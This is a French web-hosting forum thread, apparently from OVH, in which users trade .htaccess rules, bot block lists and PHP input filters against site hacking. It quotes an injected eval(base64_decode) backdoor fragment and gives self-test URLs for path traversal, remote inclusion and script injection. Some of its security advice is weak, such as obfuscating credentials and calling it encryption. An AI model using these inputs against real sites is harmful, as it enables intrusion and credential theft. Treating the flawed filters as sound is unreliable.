RewriteCond %{HTTP_REFERER} !^http://[-_a-z0-9.]*mondomaine\.tld$ [NC] 
RewriteCond %{HTTP_REFERER} !^http://[-_a-z0-9.]*mondomaine\.tld/.*$ [NC] 
RewriteCond %{HTTP_REFERER} !^http://60gp\.ovh\.net/~loginftp/.*$ [NC] 
RewriteRule .*\.(gif|jpe?g?|jp2|png|svgz?|ico|css|pdf|zip|gz|js|mp3|m4a|mp4|mov|divx|avi|wma?v?|wmp|swf|flv|docx?|xlsx?|pptx?|vbs|rtf|asf?x?|odt|ods|odp|odg|odb)$ - [NC,F]
Bonjour Encyu et merci pour ce How-To très intéressant.

Néanmoins en ce qui concerne la partie hot-linking, dans le cas d'un blog ou d'un CMS doté d'un flux RSS/Atom, la protection risque d'empêcher la lecture correcte depuis des web-aggrégateurs (de type NetVibes, Google Reader), dès lors qu'un referrer est transmis. Ça me parait à prendre en compte, d'autant plus qu'il est très facile de ne pas tester suffisamment son propre flux...

Anna-Dada
01/04/2012, 20h05
Bonjour,
Voila ma petite contribution contre le piratage
Moi j'ajoute ce petit script dans mon fichier config pour éviter les attaques(enfin je pense).

Code PHP:
$domaine "votre-site.com";

if (
$_SERVER['SERVER_NAME'] != $domaine 
{ echo 
"Access denied"; die(); } 

Daniel

balluzzo
29/01/2012, 23h13
Bonjour,
Mon htaccess a bien grossi maintenant avec vos conseils.
J'ai eu une attaque le mois dernier avec un proc/self/environ sur une faille avec un include php. Le support OVH m'a renvoyé vers plusieurs liens dont celui de ce forum.
J'ai traitée la faille en php.
c'est facile à tester car j'ai recopié l'url dans la barre d'adresse et validé.

Le 20 janvier le site a de nouveau été attaqué.
Dans les logs j'ai trouvé "GET /url(data:image/png;base64,iVBORw0KGgoAAAANS.... .
Puis dans mon fichier index.php il y avait ceci :
/*68066*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('ZXJyb3JfcmVwb3J........
une frame était crée et loadait depuis un site vérolé.
Ma première question est : La ligne que j'ai trouvé dans le log correspond t'elle à une attaque ? réponse: oui car je viens de me ré-attaquer en ajoutant la ligne en fin d'adresse www.monadresse/index.php?url(data:i....
Dans le fichier htaccess de enycu j'ai trouvé la ligne qui bloque le base64_decode
j'ai ajouté cette ligne en dessous :
RewriteCond %{QUERY_STRING} ^(.*)base64(.*)$ [OR]
Ma seconde question est donc : est ce ainsi qu'il faut procéder ?
Le terme base64 est il dans un query dans mon cas??
un print_r($_request) montre que la ligne correspond à un nom de variable [url(data:image/png;base64,iVBORw0KG....]=>
et non a une valeur de variable
après cette modif l'attaque fonctionne toujours !

merci de vos lumières ?
webmaster bénévole en detresse

enycu
02/01/2012, 22h38
Suite aux attaques des hackers turcs pendant les fêtes de fin d'année, j'ai mis à jour les règles de filtrage du fichier htaccess, seulement les règles 8 et 9.

Pour la règle 8, je précise la règle contre l'injection sql, en ajoutant le signe + à la suite d'une commande, pour éviter des faux positifs.
Pour la règle 9, j'ai ajouté la commande shell "concat" à filtrer.

Un ami a eu son site défacé et il a été spécifiquement visé, visé par un pirate, pas un robot. En analysant les logs, j'en ai profité pour mettre à jour ces règles.

Gonab
08/10/2010, 15h05
Bon bah en fait j'ai trouvé...

Je donne la solution au cas ou...

Le User-Agent de facebook pour le partage de lien est : facebookexternalhit/1.1

En tout cas merci pour ce thread qui m'a appris pas mas de choses.

Gonab
07/10/2010, 19h03
Citation Envoyé par enycu
Regarder dans les logs le nom du User-Agent de Facebook et ajouter la ligne suivante au fichier .htaccess en début de liste, au-dessus de la ligne bloquant les user-agents anonymes (remplacer xxxxx par une partie du nom du user-agent), comme ceci:
Code:
RewriteCond %{HTTP_USER_AGENT} !xxxxxx [NC]
RewriteCond %{HTTP_USER_AGENT} ^-?$ [OR] ## ANONYMES

Je ne le trouve pas bien méchant. Il devrait en effet d'abord lire le fichier robots.txt, mais à part se connecter 15 fois par jour à la page d'index, il ne fait rien d'autre... Sinon, pour le bloquer, il suffit simplement d'ajouter le mot sosospider dans la liste des robots à bloquer (en n'oubliant de séparer son nom des autres avec une barre verticale comme celle-ci | ).
Bonjour,

Je rencontre le même problème avec facebook. Par contre j'ai du mal a trouver le USER-AGENT pour Facebook. Je dois être moins bon que 10cre...

Si quelqu'un pouvait me donner un coup de main pour le trouver ?

D'avance merci,

Nicolas

fugitif
20/07/2010, 09h49
Citation Envoyé par enycu
FAUX. Si tu connaissais le VRAI user-agent d'internet explorer tu n'écrirais pas cela.
Tu crois connaître tout les user agent utilisé au monde par coeur ? Qui te dit qu'un software installer sur un Windows ne va pas le modifier le user agent ? Et tout les UA des smartphones tu les connais ?
Citation Envoyé par enycu
Sache que, par exemple, le user agent de IE 7 est "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)". L'attribut "^MSIE" ne bloque par Internet Explorer, mais les user-agent dont la ligne commencent par MSIE. Donc, on bloque ceux qui prétendent être Internet Explorer, le vrai passe très bien.
Bon ok mauvais exemple, je viens de tester, mais ça ne change rien au problème que tu bloque beaucoup trop de UA.
Autre exemple avec ton htaccess tu bloc le browser Amaya et Lynx. Soit, pas trop grave car utiliser par peu de personnes, mais personnellement si j'ai un site web c'est pour qu'il soit visible de tous.

Et pourquoi je n'aurai pas le droit d'utiliser "MISE" où "Octopus" où "Internet Ninja" où encore "Mozilla super turbo browser" comme UA sur mon navigateur ? Ou alors ne pas avoir de UA du tout ?
Ta liste est tellement longue qu'il y a des doublons.

Citation Envoyé par enycu
C'est pour cela qu'on bloque ceux qui mettent un faux user-agent comme tu commences à le comprendre.
Tu appel quoi un faux user agent ?

Citation Envoyé par enycu
Merci de montrer les statistiques de fréquentation avant et après pour affirmer cela et ne pas désinformer à la légère quand on parle d'un sujet aussi grave.
Comme on ne connais pas 100% des UA c'est impossible à chiffrer, mais filtrer les UA que tu n'aime pas ou qui ont fait des trucs pas clair n'est pas une solution.
Et pour MJ12Bot tu n'a pas répondu ?

enycu
19/07/2010, 21h23
Citation Envoyé par fugitif
Tu bloque tout et n'importe quoi.
Avec ceci ^MSIE tu bloque tout les Internet Explorer, bien 70% de visiteurs en moins c'est clair tu va te protéger de tout là.
FAUX. Si tu connaissais le VRAI user-agent d'internet explorer tu n'écrirais pas cela.

Sache que, par exemple, le user agent de IE 7 est "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)". L'attribut "^MSIE" ne bloque par Internet Explorer, mais les user-agent dont la ligne commencent par MSIE. Donc, on bloque ceux qui prétendent être Internet Explorer, le vrai passe très bien.

De plus filtrer via le user agent ne sert pas à grand choses, car il est facilement modifiable.
C'est pour cela qu'on bloque ceux qui mettent un faux user-agent comme tu commences à le comprendre.

Donc ceux qui veulent perdre 70% de visiteurs peuvent utiliser ce htaccess
Merci de montrer les statistiques de fréquentation avant et après pour affirmer cela et ne pas désinformer à la légère quand on parle d'un sujet aussi grave.

fugitif
19/07/2010, 16h14
Code:
###FILTRE CONTRE ROBOTS DES PIRATES ET ASPIRATEURS DE SITE WEB
### LISTE ICI: http://www.bg-pro.com/?goto=badbot
RewriteEngine On
## EXCEPTION: TOUS LES ROBOTS MEMES ANONYMES OU BANNIS PEUVENT ACCEDER A CES FICHIERS
RewriteCond %{REQUEST_URI} !^/robots.txt
RewriteCond %{REQUEST_URI} !^/sitemap.xml
## EXCEPTION: SI UTILISATION DE *PAYPAL INSTANT NOTIFICATION PAYMENT*, COMME PAYPAL N'UTILISE PAS DE HTTP_USER_AGENT, L'IPN NE MARCHERA PAS.
RewriteCond %{REQUEST_URI} !^/paypal-ipn.php
## 
RewriteCond %{HTTP_USER_AGENT} ^-?$ [OR] ## ANONYMES
RewriteCond %{HTTP_USER_AGENT} ^[bcdfghjklmnpqrstvwxz\ ]{8,}|^[0-9a-z]{15,}|^[0-9A-Za-z]{19,}|^[A-Za-z]{3,}\ [a-z]{4,}\ [a-z]{4,} [OR] ## CEUX QUI INVENTENT DES NOMS AU HASARD 
RewriteCond %{HTTP_USER_AGENT} ^
C'est quoi cette liste htaccess ? Tu bloque tout et n'importe quoi.
Avec ceci ^MSIE tu bloque tout les Internet Explorer, bien 70% de visiteurs en moins c'est clair tu va te protéger de tout là.
Autant faire un iptables -A INPUT --dport 80 -j DROP
Tu bloque Mj12bot qui n'a rien d'un moteur de recherche qui ne respecte pas les règles. Le seul qui est nuisible est celui ci :
Code:
RewriteCond %{HTTP_USER_AGENT} ^MJ12bot/v1\.0\.8.*$
RewriteRule .* - [F]
De plus filtrer via le user agent ne sert pas à grand choses, car il est facilement modifiable.

Donc ceux qui veulent perdre 70% de visiteurs peuvent utiliser ce htaccess

Gaston_Phone
05/07/2010, 23h23
Bonjour,

Quelle sont les différences entre CrawlTrack et CrawlProtect ?
Merci d'avance.

CrawlTrack
04/07/2010, 23h45
Bonsoir à tous,

Une info en passant, CrawlProtect vient de sortir en version 2.0.0.
Ce script peut vous aidez à sécuriser votre site en vous facilitant l'application de certains conseils de ce thread.

Mais n'oubliez pas de lire l'ensemble du thread pour mettre le maximum de chance de votre coté.

A+
Jean-Denis

untempo
23/06/2010, 21h33
Bonsoir,

je vais lire les 9 pages du forum ;-) mais si je pense que mon espace serveur sur OVH est hacké, quelles sont les premières actions à faire pour sécuriser un peu tout ?
Tout supprimer sur le serveur ?

Merci.

Nowwhat
14/06/2010, 23h39
Citation Envoyé par ddehem
Ce fichier .htaccess peut ne contenir que ces informations?
Ce sujet, nommé Sécuriser et protéger son site web des attaques des pirates et hackers comporte 9 pages, pas que la réponse de Gaston_phone.

Commence à lire au début !!!

Résultat : t'aura la réponse de ta question.
Bonus : tu saura de quoi faire avec car c'est presque indispensable

ddehem
14/06/2010, 23h10
Bonsoir Gaston_phone
Merci pour ta réponse.
Ce fichier .htaccess peut ne contenir que ces informations?
J'édite pour confirmer que ça fonctionne alors qu'avec d'autres scripts .htaccess, j'avais une erreur à l'ouverture du site. Merci Gaston_Phone.
Amicalement
ddehem

Gaston_Phone
14/06/2010, 18h50
à mettre au début du fichier .htaccess (situé sur la racine www) :
Options -Indexes
Options -Multiviews
Options +FollowSymLinks
SetEnv REGISTER_GLOBALS 0
SetEnv PHP_VER 5
RewriteEngine On

ddehem
14/06/2010, 18h06
Bonjour, je ne sais pas si c'est ici ou comme ceci qu'on pose une question, mais comme je ne vois pas d'autre solution je me lance.
Quelqu'un pourrait il me dire comment on désactive le 'register_globals' .
J'ai lu dans ce post beaucoup de lignes concernants ce cas et j'en ai retenu une mais je ne sais pas si c'est la bonne, et surtout comment on le place.
Il s'agit de ce "script" SetEnv REGISTER_GLOBALS 0
Si c'est bon, comment fait on avec ça.
Merci pour votre aide
ddehem

mduchaff
23/04/2010, 20h13
Citation Envoyé par enycu
Crypter son fichier config.inc.php

Malgré toutes les précautions, le pirate a pénétré votre site et cherche maintenant à connaître les login et mot de passe de votre base MySQL pour la pirater, la vider et en prendre le contrôle. On peut lui compliquer la tâche en cryptant ces données sensibles. Le serveur web pourra lire ces informations facilement, mais elles ne seront pas lisibles directement par un œil humain.
Pour un expert en PHP, cette protection ne dure que 2 minutes, cela lui fait du travail en plus, mais nous ne sommes pas là pour lui faciliter la tâche ?

Visitez un de ces sites web et cryptez vos données.
http://www.btt-scripts.com/demo/encrypt/ - http://www.scriptomart.com/obfuscate/ - http://www.rightscripts.com/phpencode/ - http://www.encodephp.com/

Par exemple, mon fichier config.php contient ceci:
Code PHP:
//** MySQL settings **//
$db_server   "mysql5-1";
$db_name     "nombasesql";
$db_username "loginsql";
$db_password "motdepasse";
?>
Je copie la partie à encoder entre les balises
Je choisis l'encodage "PHP - Extrastrength". Ne cherchez pas un encodage plus élevé, j'ai constaté des erreurs sur les serveurs mutualisés d'OVH.
Je copie la longue ligne qui commence par eval(xxxx entre les balises et le colle dans le fichier config.inc.php, ce qui donne:

Code PHP:
eval(gzuncompress(gzinflate(base64_decode('AXEAjv942tPX19JS8K0MDvRRKE4tKcnMSy9W0NLS1+flUklJii9OLSpLLVJQULBVUMqtLC7MMdU1VLKGyOUl5qYqKEDk8vJzkxKLU4EKYLKlQK1gFUDZnPz0zDwkuYLE4uLy/KIUsKn5JSmpIIFUkCwAmYgq2g==')))); 
?>
Ainsi, vous pouvez occulter toutes les informations sensibles.

Et attribuez par FTP les droits 404 à votre fichier config.inc.php (ou équivalent).
Merci pour ces conseils. Et comme je ne suis pas trop expert en PHP, j'ai besoin d'un peu plus de conseils. Avec Joomla, le fichier de config est de la forme
Code:
et lorsque j'essaie d'inclure la fonction eval(gzinflate(base64_decode('Dd...');
ça ne marche pas !

gougougne
05/03/2010, 08h16
Merci pour la réponse.
J'avais bien compris le fait que ce n'était pas une solution sécurisée.

enycu
05/03/2010, 00h01
Ce n'est pas un cryptage au sens strict mais un camouflage ("obfuscation" en anglais) du code PHP. Aucun n'est sûr, c'est juste illisible à un oeil humain, mais facile à décoder. En fait, aucun n'est sécurisé, c'est même très facile à contourner pour celui qui a un minium de connaissance en PHP. Mais comme le pirate n'est pas du genre patient, car il cherche des cibles faciles, on lui complique la tâche. C'est comme dans la vrai vie, on n'est pas là pour lui faciliter le vol. Tout ce qui peut allonger son temps d'infraction est bon à prendre, ça le gênera, mais ne le bloquera pas s'il est réellement motivé.

On trouve l'équivalent ici:
http://www.scriptomart.com/obfuscate/
ou celui-ci:
http://www.rightscripts.com/phpencode/

gougougne
04/03/2010, 10h53
Bonjour,
Ce site ne semble plus exister :

Citation Envoyé par enycu
Crypter son fichier config.inc.php
http://www.btt-scripts.com/demo/encrypt/
J'ai trouvé ce site :
http://www.byterun.com/free-php-encoder.php
le cryptage fonctionne mais a l'air moins sécurisé.
Qu'en pensez vous ?
Avez-vous une autre adresse ?
Merci de votre aide.

lodemars
05/01/2010, 23h26
Citation Envoyé par enycu
Non, juste dans le dossier www. C'est pour éviter le parasitisme entre les htaccess que je propose de ne pas mettre tous les dossiers du multi-domaines dans www mais à côté (voir mon tutoriel sur cette question).
Oui, depuis j'ai vu qu'il n'y avait aucune obligation à tout mettre dans le www. Merci de la réponse.

enycu
05/01/2010, 23h09
Citation Envoyé par lodemars
Dois je par exemple mettre le text.htaccess dans chaque dossier?
Non, juste dans le dossier www. C'est pour éviter le parasitisme entre les htaccess que je propose de ne pas mettre tous les dossiers du multi-domaines dans www mais à côté (voir mon tutoriel sur cette question).

lodemars
03/01/2010, 16h07
Bonjour, merci et bravo pour cette mine de conseil.

J'ai une question simpliste, (mais je m'améliore, ) à propos de la rubrique concernant le fichier .htaccess.

Tu dis :
Appelez-le "txt.htaccess", envoyez-le par FTP dans votre dossier www et renommez-le en ".htaccess". Puis donnez-lui par FTP les droits 404. Il ne sera pas modifiable.
A l'intérieur de mon dossier, j'ai plusieurs dossiers, chacun consacré à un site puisque j'utilisie le multi site sur mon 90plan. Est ce que cela change quelque chose? Dois je par exemple mettre le text.htaccess dans chaque dossier?

enycu
31/08/2009, 11h16
Citation Envoyé par Abazada
Un droit 400 (r-- --- ---) est largement suffisant.
Je l'avais proposé mais il y a un an et demi le serveur mutualisé d'OVH ne l'acceptait plus et causait une erreur. Il semble que cela remarche à nouveau. Mais à cause de cet incident, je ne le propose plus. Mais tu as raison sur le principe.
Citation Envoyé par Abazada
Vous rendez-vous bien compte de la charge de travail que représente pour le serveur à chaque requête http l'ensemble de ces règles !
Moins de 1 dixième de seconde.

Abazada
31/08/2009, 08h08
Bonjour,

Tout d'abord c'est une bonne idée que d'avoir centralisé ici les idées que l'on trouve à droite ou à gauche sur Internet. Plus facile pour ceux qui arrivent sur le Mutu d'OVH

Citation Envoyé par enycu
LES RÈGLES LES PLUS IMPORTANTES:

1- Attribuer par FTP aux fichiers les droits chmod 404 et aux dossiers les droits chmod 505. Voir l'article ici: http://forum.ovh.com/showpost.php?p=103753
Je suis d'accord sur l'efficacité de la réduction des droits sur les fichiers/répertoires, mais pourquoi ne faire les choses qu'à moitié ?

- Les fichiers Php sont exécutés sous votre user. Il n'y a donc que vous qui ayez besoin de les lire. Pourquoi donner la posssibilité "à tous les autres" de les lire via un 404 ? Un droit 400 (r-- --- ---) est largement suffisant.

- Les fichiers statiques (.html, robots.txt, favicon.ico, sitemap.xml, ...) sont envoyés directement par Apache via un user (www-data ?) qui ne fait pas partie du groupe 'users'. Vous-même n'avez pas besoin de les lire. Donc pour les static et le .htaccess un droit 004 (--- --- r--) fera parfaitement l'affaire.

- Pour les répertoires, OVH impose au minimum un 500 pour évitez d'avoir une erreur... 500 . Apache a de plus besoin d'accéder aux fichiers statiques, mais n'a pas besoin de pouvoir lister le contenu du répertoire. Un droit 501 (r-x --- --x) conviendra donc très bien à la config OVH.

En résumé :
Code:
# find ~ -type d | xargs chmod 501
# find ~ -type f -name \*.php | xargs chmod 400
# find ~ -type f ! -name \*.php | xargs chmod 004

./www:
total 11K
dr-x-----x+ 2 abazada users   9 2009-08-31 06:33 .
dr-x-----x+ 3 abazada users   3 2009-08-27 07:24 ..
-r--------+ 1 abazada users 589 2009-08-31 06:46 conf.inc.php
-------r--+ 1 abazada users 711 2008-03-20 07:29 demo.html
-------r--+ 1 abazada users 318 2008-03-20 07:29 favicon.ico
-------r--+ 1 abazada users 308 2009-08-27 09:13 .htaccess
-r--------+ 1 abazada users 301 2008-03-23 06:46 index.php
-------r--+ 1 abazada users 114 2008-03-19 08:05 robots.txt
Bon, si *vraiment* vous avez besoin que vos applis ecrivent dans le www (très mauvaise idée) à vous de rejouter les "chmod u+w" qui vont bien.

Citation Envoyé par enycu
2- Règles de filtrage par htaccess. Permet d'arrêter de nombreuses attaques avant de toucher votre site web. Voir les 2 articles ici http://forum.ovh.com/showpost.php?p=103757 et là http://forum.ovh.com/showpost.php?p=103758
Là aussi des bonnes idées dans le lot, mais juste une question : Vous rendez-vous bien compte de la charge de travail que représente pour le serveur à chaque requête http l'ensemble de ces règles !
Si quelqu'un les a mises en place, j'aimerais bien savoir combien de temps on perd à chaque appel à une simple page HTML. Les RewriteCond, RewriteRule et autres ne sont pas gratuites en CPU...
Il faudrait - à mon avis - se limiter à quelques petites règles importantes. C'est en entrée de votre appli que doit être fait le vrai travail de filtrage.

à suivre...

10cre
27/08/2009, 21h30
Super merci enycu ça fonctionne !!! :-)

Je ne sais pas si tu bosses chez OVH si ce n'est pas le cas, OVH pourrait t'offrir quelques mois d'hébergements pour partager ainsi tes connaissances sur ce forum.

enycu
27/08/2009, 14h23
Citation Envoyé par 10cre
Quel modif faudrait-il que j'apporte pour autoriser Facebook à inspecter ma page pour générer un thumbnail.
Regarder dans les logs le nom du User-Agent de Facebook et ajouter la ligne suivante au fichier .htaccess en début de liste, au-dessus de la ligne bloquant les user-agents anonymes (remplacer xxxxx par une partie du nom du user-agent), comme ceci:
Code:
RewriteCond %{HTTP_USER_AGENT} !xxxxxx [NC]
RewriteCond %{HTTP_USER_AGENT} ^-?$ [OR] ## ANONYMES
Citation Envoyé par Daniel60
Je en sait pas si tu as remarqué un robot chinois sosospider qui ne consulte que la page index.
Je ne le trouve pas bien méchant. Il devrait en effet d'abord lire le fichier robots.txt, mais à part se connecter 15 fois par jour à la page d'index, il ne fait rien d'autre... Sinon, pour le bloquer, il suffit simplement d'ajouter le mot sosospider dans la liste des robots à bloquer (en n'oubliant de séparer son nom des autres avec une barre verticale comme celle-ci | ).

Daniel60
27/08/2009, 08h09
Bonjour Enycu
Je en sait pas si tu as remarqué un robot chinois sosospider qui ne consulte que la page index.
J'ai mis en deny un un certain nombre de plage ip car il n'est pas toujours identifiable,

10cre
26/08/2009, 22h48
Merci à Enycu pour cette liste de conseils absolument parfaite.
Un petit détail qui me gène.
Quand on poste des liens sur Facebook une image miniature se crée automatiquement à partir des photos récupérées sur la page.
Les réglages proposés ici bloque Facebook comme si c'était un aspirateur de site.
Quel modif faudrait-il que j'apporte pour autoriser Facebook à inspecter ma page pour générer un thumbnail.
D'avance merci.

enycu
28/01/2009, 21h36
J'ai mis à jour la liste des mauvais robots à bloquer et j'ai ajouté des commentaires en face de chaque règle, vous permettant de déboguer en cas de besoin.
http://forum.ovh.com/showthread.php?t=19263#post103757

jstaeble
15/11/2008, 15h18
Il se trouve qu'en procédant ainsi je n'ai jamais eu de problème de ce genre (j'essaie de consulter les logs tous les jours). Par contre, j'ai eu droit à plusieurs attaques.

Il est vrai que cette méthode est désormais moins utile depuis que j'ai lu ce tutoriel (notamment avec le .htaccess), mais en tous cas, au niveau du livre d'or je n'ai encore rien trouvé d'autre pour bloquer les attaques. (c'est en ce moment tous les jours que j'ai des lignes dans les logs comme
Code:
c-68-40-92-234.hsd1.mi.comcast.net www.piano-gare.fr - [15/Nov/2008:07:40:20 +0100] "GET /livreor.php HTTP/1.0" 200 7053 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322)"
c-68-40-92-234.hsd1.mi.comcast.net www.piano-gare.fr - [15/Nov/2008:07:40:24 +0100] "POST /livreor.php HTTP/1.0" 200 3587 "http://www.piano-gare.fr/livreor.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322)"

Etienne62
15/11/2008, 12h10
Jstaeble je ne trouve pas du tout ta manière de faire correcte, certes tu peux bloquer quelqu'un qui a décidé de tester les failles de ton site mais tu risques surtout de bannir tes propres visiteurs ou un bot de google par exemple en oubliant de désactiver la sécurité pour une page.

jstaeble
15/11/2008, 11h25
Et bien, à moi d'apporter ma pierre à l'édifice :

Suite à quelques tentatives de hack par modification de GET (?page=http://hacker.com), j'ai fait ce petit script permettant de bloquer automatiquement une adresse IP si il y a tentative de ce genre :

Code PHP:
//connexion à la bdd;
$retour mysql_query('SELECT COUNT(*) AS nbre_entrees FROM ip_bloquees WHERE ip=\'' $_SERVER['REMOTE_ADDR'] . '\'');
$donnees mysql_fetch_array($retour);
 

if (
$donnees['nbre_entrees'] == 0
{
    if(
$_GET['page']>"http")
    {
        include(
"hack.php");
    }
    else
    {
        
//on affiche la page
    
}
    else
    {
        
$hack=8;
        include(
"hack.php");
    }
Et le fameux fichier "hack.php"

Code PHP:
if(!isset($hack))
{
    
//connexion à la bdd;
    
print("Le site est actuellement indisponible. Merci de votre compréhension. Le Webmaster.");
    
mysql_query("INSERT INTO ip_bloquees VALUES('', '" $_SERVER['REMOTE_ADDR'] . "')");
}
else
{
    print(
"Le site est actuellement indisponible. Merci de votre compréhension. Le Webmaster.");
}
?>
Bien sûr, il faut créer la table appropriée dans la bdd.

Mine de rien, c'est simple et efficace ! De plus, on peut bloquer manuellement certaines adresses à l'aide d'un simple formulaire dans la page d'administration.

Dans le même genre, pour le livre d'or, j'ai créé une image avec des lettres à recopier (jusque là rien de nouveau). Le champ pour recopier les lettres s'appelle "website", et si il contient une URL : hop ! Include("hack.php"); :

Code PHP:
if(isset($_POST['website']))
{
    if(
$_POST['website'] != "P3KZE8")
     {
         if(
$_POST['website'] >= "http")
         {
             include(
"hack.php");
         }
         else
         {
             exit(
"Vous n'avez pas recopié les bons caractères de l'image. ");
         }
     }
    elseif(
$pseudo == "" || $message == "" || $email == "")
     {
         exit(
"Veuillez remplir tous les champs précédés d'une *. ");
     }


apophyss
04/10/2008, 10h04
Bonjour,
et merci pour tous ces conseils,

mais après plusieurs recherches, je n'arrive pas à choisir entre :
$val = trim(stripslashes(htmlentities($val)));
et
$val = mysql_real_escape_string(htmlspecialchars($val ));

cybellips
08/08/2008, 17h58
Citation Envoyé par Abogil
Automatiser le changement des droits
Une bonne façon très rapide pour les changements de droits :
utilisez le logiciel WinSCP !

en un clic sur le dossier vous appliquer récursivement les droits 404 aux fichiers
et 505 aux dossiers (cases à cocher : ajouter X au répertoire et appliquer récursivement...) !

enycu
17/06/2008, 15h10
J'ai ajouté un nouveau script qui permet d'avoir la liste des derniers fichiers créés ET modifiés.

Si vous avez été victime d'un piratage, il vous permettra de savoir quels fichiers ont été ajoutés et ceux qui ont été modifiés par le pirate avec la date et l'heure. Ainsi, en comparant la date de ces fichiers modifiés aux logs, vous saurez si la modification est normale ou pas, et vous saurez quand et comment le pirate a frappé.

Il sert également à comprendre le comportement d'un script ou d'un CMS, blog, wiki, forum et voir quels fichiers ont été manipulés par ce logiciel.

Ca se passe ici: http://forum.ovh.com/showpost.php?p=104517 ou en page 3 de ce topic.

enycu
30/04/2008, 22h36
D'abord commence déjà à lire et à appliquer les conseils présentés ici. Il y a beaucoup de solutions. Ensuite, ici (le sous forum How-To), on ne propose que des solutions. Pour poser des questions, je t'invite à ouvrir une nouvelle discussion sur le forum Mutualisé.

gravedigger
30/04/2008, 19h40
En tout cas ça commence à me faire péter un plomb la modification de mes pages index.php et html
Ou une autre variante:
Code:
http://www.votredomaine.tld/index.php?page=javascript:alert(%22Hackeur vaillant, rien d'impossible !!%22)
Si une fenêtre d'alerte javascript apparaît avec le texte "Hackeur vaillant, rien d'impossible !!", votre site est ouvert à ce genre d'attaque.


3- Faille dans le téléchargement de fichiers:
Cela s'applique à 2 cas:

a) Vous avez un script de téléchargement qui propose à vos visiteurs de télécharger des fichiers. Vous avez mis tous les fichiers à télécharger dans un dossier de votre hébergement, par exemple /home/loginftp/www/download/ .
Votre URL ressemble à ça (à adapter à votre cas):
Code:
http://www.votredomaine.tld/download.php?fichier=monfichier.pdf
Si on on modifie "monfichier.pdf" qui se trouve dans le dossier "/home/loginftp/www/download/" par "../config.inc.php" qui se trouve ici "/home/loginftp/www/" comme cela:
Code:
http://www.votredomaine.tld/download.php?fichier=../config.inc.php
Est-ce qu'on le télécharge ? A-t-on ainsi les login et mot de passe de votre base de données SQL ? Croyez-le ou pas, mon script de téléchargement le permettait. Donc, on pouvait télécharger n'importe quel fichier de mon site.

b) Vous avez un script PHP qui utilise la fonction include() pour appeler d'autres fichiers. Ces fichiers sont appelés depuis l'URL et non dans le code PHP du script. Par exemple:
Code:
http://www.votredomaine.tld/index.php?page=forum.php
Comme ci-dessus, peut-on charger d'autres fichiers? Par exemple le fichier robots.txt:
Code:
http://www.votredomaine.tld/index.php?page=robots.txt
Normalement, on ne peut pas voir le contenu d'un fichier PHP car son code est exécuté à la différence du script de téléchargement en a). Donc, ceci devrait donner une page blanche, mais vérifiez-le quand même:
Code:
http://www.votredomaine.tld/index.php?page=config.inc.php
Heureusement, sur les serveurs mutualisés d'OVH, la fonction PHP include() ne permet pas d'ouvrir un fichier en dehors de de son réseau interne (pour des raisons de sécurité). Mais cela doit être possible sur d'autres serveurs moins sécurisés:
Code:
http://www.votredomaine.tld/index.php?page=http://www.autresite.tld
À cœur vaillant, rien d'impossible est la devise de Jacques Coeur qui vécut au XVe s.
Comme je regrette le temps des pages statiques en html ! est ma devise

enycu
22/08/2007, 22h45
Adresses e-mails à éviter

Plus en rapport avec le spam qu'avec le piratage, les adresses e-mails qui ont les préfixes les plus courants sont spammées automatiquement (car ils ont plus de chances d'exister). Donc, évitez de créer des adresses avec les noms suivants:
webmaster@ admin@ contact@ email@ mail@ info@ sales@ support@ root@ www@ abuse@ news@

J'utilisais contact@ et info@ sans jamais les diffuser sur le web, mais le nombre de spams devenaient insupportables. Bref, pour le spam comme pour le piratage, il faut éviter la fainéantise intellectuelle et les paramètres par défaut.

enycu
19/08/2007, 00h09
Sécuriser un script PERL

C'est comme pour l'article précédent sur le php. Si vous utilisez un petit script en PERL qui traite les données d'un formulaire ou d'une variable dans une URL comme "/index.cgi?page=23&id=machin" (donc utilisation des requêtes GET ou POST), il faut filtrer ces données pour éviter toute faille.

J'utilise ce bout de code que je mets en tête du script afin de filtrer toutes les données qui y entrent:
Code:
$val = $ENV{'QUERY_STRING'};
$val =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$val =~ s/<([^>]|\n)*>//g;
$val =~ s/([<>\&\$;:\`\|\"\'*\?\!\~\^\(\)\[\]\{\}]|\\|\.\.|^\/)//g;
D'abord, on décode les caractères non alphanumériques qui sont encodés en url-encoded. Puis, on efface les caractères qui peuvent poser des problèmes comme des balises html et certains signes à la 4e ligne du code ci-dessus.
Ceci est une protection générale qui fonctionne contre les formes les plus simples de piratage.

Ne mettez ce code que seulement s'il n'y a aucun système de filtrage.

enycu
18/08/2007, 23h48
Sécuriser un script PHP

Une note très instructive sur le bon usage du PHP par la Direction centrale de la sécurité des systèmes d'information qui dépend du Secrétariat général de la défense nationale: http://www.certa.ssi.gouv.fr/site/CERTA-2007-INF-002/
Une explication sur la sécurité avec PHP est ici: http://phpsec.org/projects/guide/fr/

Tout d'abord, mettez le paramètre PHP Register_globals sur OFF comme expliqué ici:
http://forum.ovh.net/showpost.php?p=103757

Ensuite, si vous utilisez un petit script en PHP qui traite les données d'un formulaire ou d'une variable dans une URL comme "/index.php?page=23&id=machin" (donc utilisation des requêtes GET ou POST), il faut filtrer ces données pour éviter toute faille.

J'utilise ce bout de code que je mets en tête du script afin de filtrer toutes les données qui y entrent:
Code PHP:
foreach ($_REQUEST as $key => $val
{
  
$val preg_replace("/[^_A-Za-z0-9-\.&=]/i",''$val);
  
$_REQUEST[$key] = $val;

Ainsi ne sont autorisés que les caractères alphanumériques et les signes _ - . & =
Tous les autres caractères sont effacés.

Il existe un autre filtre si celui présenté ci-dessus est trop restrictif:
Code PHP:
foreach ($_REQUEST as $key => $val
{
  
$val trim(stripslashes(htmlentities($val)));
  
$_REQUEST[$key] = $val;

Pour protéger une variable précise envoyée par formulaire on peut mettre au choix un des deux filtres ci-dessous (ne pas mettre les 2 filtres pour une même variable):
Code PHP:
/* pour un filtrage de base */
$variable trim(stripslashes(htmlentities($_POST["variable"])));

/* pour un filtrage plus restrictif */
$variable preg_replace("/[^_A-Za-z0-9-\.&=]/i",''$_POST["variable"]); 
Ceci est une protection générale qui fonctionne contre les formes les plus simples de piratage.
